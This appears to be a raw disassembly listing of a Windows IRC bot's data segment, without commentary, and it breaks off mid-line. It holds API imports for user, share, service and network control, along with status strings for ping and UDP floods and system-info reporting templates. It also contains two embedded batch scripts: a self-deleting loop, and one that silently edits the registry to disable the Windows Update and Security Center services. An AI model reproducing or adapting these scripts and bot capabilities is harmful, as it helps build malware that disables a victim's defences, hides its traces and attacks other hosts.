69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_405D8E+B8Co align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_405D8E+B7Fo align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_405D8E+B72o align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_405D8E+B65o align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_405D8E+B58o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_405D8E+B50o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_405D8E:loc_4068D1o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_405D8E+B0Eo align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_405D8E+B06o align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_405D8E:loc_406887o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_405D8E+AB4o align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_405D8E+AA7o align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_405D8E+A9Ao aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_405D8E+A92o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_405D8E:loc_406813o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_405D8E+A50o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_405D8E+A48o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_405D8E:loc_4067C9o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_405D8E+A06o align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_405D8E+9FEo align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_405D8E:loc_40677Fo align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_405D8E+974o align 10h aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_405D8E+967o align 10h aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_405D8E+95Ao aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_405D8E+94Do align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_405D8E+940o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_405D8E+933o align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_405D8E+926o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_405D8E+919o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_405D8E+90Co align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_405D8E+8FFo aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_405D8E+8F7o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_405D8E:loc_406674o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_405D8E+8A9o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_405D8E+89Co aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_405D8E+894o align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_405D8E:loc_406615o align 10h aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_405D8E+85Ao align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_405D8E+7E8o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_405D8E+7DBo align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_405D8E+7CEo align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_405D8E+7C1o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_405D8E+7B4o align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_405D8E+7A7o align 10h aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_405D8E+79Ao align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_405D8E+78Do align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_405D8E+780o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_405D8E+778o align 10h aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_405D8E:loc_4064F5o aClosesocket db 'closesocket',0 ; DATA XREF: sub_405D8E+62Eo aGetpeername db 'getpeername',0 ; DATA XREF: sub_405D8E+621o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_405D8E+614o align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_405D8E+607o align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_405D8E+5FAo aGetsockname db 'getsockname',0 ; DATA XREF: sub_405D8E+5EDo aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_405D8E+5E0o align 4 aAccept db 'accept',0 ; DATA XREF: sub_405D8E+5D3o ; seg002:00423454o align 10h aListen db 'listen',0 ; DATA XREF: sub_405D8E+5C6o align 4 aSelect db 'select',0 ; DATA XREF: sub_405D8E+5B9o align 10h aBind db 'bind',0 ; DATA XREF: sub_405D8E+5B1o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_405D8E+59Fo align 4 aRecv db 'recv',0 ; DATA XREF: sub_405D8E+592o align 4 aSendto db 'sendto',0 ; DATA XREF: sub_405D8E+585o align 4 aSend db 'send',0 ; DATA XREF: sub_405D8E+578o ; seg000:0040AC53o align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_405D8E+56Bo align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_405D8E+55Eo align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_405D8E+551o align 4 aHtons db 'htons',0 ; DATA XREF: sub_405D8E+544o align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_405D8E+537o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_405D8E+52Ao align 4 aConnect db 'connect',0 ; DATA XREF: sub_405D8E+51Do ; seg002:00423864o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_405D8E+510o aSocket db 'socket',0 ; DATA XREF: sub_405D8E+503o align 10h aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_405D8E+4F6o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_405D8E+4E9o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_405D8E+4DCo align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_405D8E+4CFo align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_405D8E+4C2o align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_405D8E+4B5o align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_405D8E+4ADo align 10h aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_405D8E+49Co align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_405D8E+429o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_405D8E+41Co align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_405D8E+40Fo align 10h aSelectobject db 'SelectObject',0 ; DATA XREF: sub_405D8E+402o align 10h aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_405D8E+3F5o align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_405D8E+3E8o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_405D8E+3DBo align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_405D8E+3CEo align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_405D8E+3C6o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_405D8E:loc_406143o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_405D8E:loc_40611Bo align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_405D8E+335o align 10h aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_405D8E+328o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_405D8E+31Bo align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_405D8E+30Eo align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_405D8E+301o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_405D8E+2F4o align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_405D8E+2E7o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_405D8E:loc_40606Do align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_405D8E+2AFo align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_405D8E+2A2o align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_405D8E:loc_406028o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_405D8E+252o aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_405D8E+245o aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_405D8E+238o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_405D8E+22Bo align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_405D8E+21Eo aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_405D8E+216o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_405D8E:loc_405F93o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_405D8E+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_405D8E+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_405D8E+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_405D8E+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_405D8E+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_405D8E+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_405D8E+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_405D8E+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_405D8E:loc_405EC3o ; sub_4195E1+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_405D8E:loc_405E96o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_405D8E+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_405D8E+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_405D8E+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_405D8E+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_405D8E+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_405D8E+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_405D8E+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_405D8E+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_405D8E+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_405D8E+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_405D8E+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_405D8E+Ao align 4 dword_420E94 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_406977+2BEo dd 2029206Ch, 2BBBB02h aDllTestComplet db ' DLL test complete.',0 align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_406977+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_406977+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_406977+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_406977+1FCo align 10h aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_406977+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_406977+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_406977+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_406977+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_406977+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_406977+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_406977+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_406977+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_406977+28o align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 align 4 aMirc db 'mIRC',0 ; DATA XREF: sub_406F91+5o ; sub_40F9AB+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_407013+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4070B7+2o aComspecCSS db '%%comspec%% /c %s %s',0 align 10h a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: seg000:0040715Eo db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: seg000:00407121o align 10h aCAv3_bat db 'c:\av3.bat',0 ; DATA XREF: sub_407261+29o align 4 a@echoOffEchoRe db '@echo off',0Dh,0Ah ; DATA XREF: sub_407261+14o db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT' db '\Parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share' db 'dAccess]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus' db 'erv]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>' db '%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>' db '%temp%\1.reg',0Dh,0Ah db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi' db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma' db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip' db '\Parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh db 0Ah db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,' db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\' db '1.reg',0Dh,0Ah db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\' db '1.reg',0Dh,0Ah db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio' db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah db 'DEL %temp%\1.reg',0Dh,0Ah db 'DEL %0',0Dh,0Ah,0 align 4 unk_4227D4 db 2 ; DATA XREF: sub_407357:loc_407416o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aNotSupportedBy db ' Not supported by this system.',0 align 4 unk_422818 db 2 ; DATA XREF: sub_407357:loc_4073E4o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 4 unk_42285C db 2 ; DATA XREF: sub_407357:loc_4073B0o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheIsEmpt db ' ARP cache is empty.',0 align 4 unk_422894 db 2 ; DATA XREF: sub_407357+49o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 4 unk_4228D8 db 2 ; DATA XREF: seg000:00407617o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 4 unk_422918 db 2 ; DATA XREF: seg000:00407549o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 4 dword_422954 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: seg000:0040782Do dd 2029206Ch, 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 4 dword_422994 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: seg000:004076F5o dd 2029206Ch, 2BBBB02h aErrorSending_1 db ' Error sending pings to %s.',0 align 10h aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40787D+52o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_40799C+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40799C+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40799C:loc_407B00o align 4 word_422AD8 dw 3Fh ; DATA XREF: sub_40799C:loc_407A9Er ; sub_4086FA+1Fo align 4 dword_422ADC dd 28207325h, 297325hdword_422AE4 dd 3F3F3Fh ; seg000:loc_40F95Co a2003 db '2003',0 ; DATA XREF: sub_40799C+BAo ; seg002:004232ECo ... align 10h aXp db 'XP',0 ; DATA XREF: sub_40799C+AAo ; seg000:0040F947o ... align 4 a2k db '2K',0 ; DATA XREF: sub_40799C+98o ; seg000:0040F937o align 4 aMe db 'ME',0 ; DATA XREF: sub_40799C+7Eo ; seg000:0040F91Eo align 4 a98 db '98',0 ; DATA XREF: sub_40799C+6Co ; seg000:0040F90Eo align 10h aNt db 'NT',0 ; DATA XREF: sub_40799C+5Ao ; seg000:0040F8FEo align 4 a95 db '95',0 ; DATA XREF: sub_40799C+46o ; seg000:0040F8F0o align 4 aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_407C50+ABo align 4 off_422B48 dd offset loc_412F4A+4 ; DATA XREF: sub_407C50:loc_407CC4o dword_422B4C dd 4E414Ch dword_422B50 dd 6C616944h, 70752Dhdword_422B58 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_422B68 dd 202E6425h, 3D207325h, 732520hdword_422B74 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: 